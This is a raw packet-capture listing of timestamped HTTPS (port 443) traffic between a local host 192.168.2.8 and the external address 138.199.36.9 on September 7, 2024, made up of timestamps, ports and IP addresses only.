Sep 7, 2024 23:15:27.249459982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249511003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.249521971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249556065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.249871016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249888897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249938965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.249949932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249983072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.250237942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.250256062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.250304937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.250312090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.250341892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.256552935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256572962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256650925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.256675005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256706953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.256839037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256855011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256908894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.256916046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.256943941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.257055044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.257076979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.257122993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.257129908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.257154942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.337106943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337130070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337251902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.337285995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337327957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.337728977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337743044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337796926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.337812901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.337848902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.338195086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338207960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338254929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.338264942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338298082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.338519096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338532925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338582993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.338591099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.338622093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.341294050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.341308117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.341367960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.341396093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.341434956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345252037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345263958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345326900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345356941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345386028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345591068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345602989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345669031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345679998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345714092 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345870972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345890045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345941067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.345952988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.345983982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.426429987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426451921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426513910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.426533937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426548004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426549911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.426569939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426578045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.426611900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.426625967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.426657915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.427175999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427191973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427234888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.427243948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427268982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.427288055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.427578926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427594900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427642107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.427649975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.427683115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.430356026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.430378914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.430418968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.430438995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.430457115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.430479050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.433857918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.433875084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.433942080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.433959007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.433991909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.434478045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.434494019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.434542894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.434551001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.434581041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.435165882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.435180902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.435221910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.435230970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.435261965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.515851974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.515872955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.515923023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.515966892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516019106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.516047001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516066074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.516076088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516088963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516130924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.516140938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516232014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516252041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516277075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.516283989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.516305923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.518873930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.518887043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.518950939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.518976927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.522380114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.522398949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.522468090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.522492886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523004055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523019075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523075104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.523092985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523472071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523494005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523529053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.523545027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.523560047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.565944910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.622307062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622333050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622445107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.622476101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622519016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.622700930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622724056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622776985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.622791052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.622828960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.623019934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623040915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623092890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.623104095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623135090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.623370886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623387098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623442888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.623450994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.623486996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.624196053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.624213934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.624267101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.624279022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.624314070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.626204967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.626230955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.626287937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.626307011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.626341105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.627228975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627249002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627307892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.627325058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627357006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.627513885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627526999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627580881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.627589941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.627624989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.719681025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.719703913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.719743013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.719784975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.719878912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.719907045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.719924927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720017910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720031977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720060110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720068932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720088959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720206976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720227003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720258951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720267057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720290899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720460892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720475912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720510006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720519066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720537901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720865011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720889091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720920086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.720931053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.720946074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.721177101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721191883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721234083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.721245050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721266031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.721744061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721762896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721801996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.721823931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.721838951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.769093990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.799788952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.799808025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.799988031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.799984932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800038099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800072908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800090075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800090075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800146103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800158978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800189018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800198078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800223112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800355911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800375938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800400019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.800407887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.800430059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.801551104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.801563978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.801623106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.801649094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.803072929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.803092003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.803137064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.803157091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.803179979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.804569960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804584026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804656029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.804675102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804768085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804788113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804816008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.804826021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.804845095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.847253084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.894788027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.894807100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.894862890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.894900084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.894920111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.894942999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895071030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895087004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895128012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895134926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895165920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895314932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895330906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895378113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895385027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895418882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895591974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895607948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895639896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895646095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895668983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895687103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895689964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895714998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895721912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.895745039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.895768881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896004915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896018982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896049976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896055937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896070957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896080971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896096945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896100998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896110058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896140099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896173954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896251917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896272898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896294117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.896300077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.896331072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983170033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983187914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983254910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983284950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983321905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983422041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983442068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983469963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983477116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983515978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983549118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983920097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983933926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.983983040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.983989000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984025002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984076023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984091043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984133959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984139919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984148979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984169960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984173059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984181881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984219074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984338045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984350920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984400988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984410048 CEST	443	49706	138.199.36.9	192.168.2.8
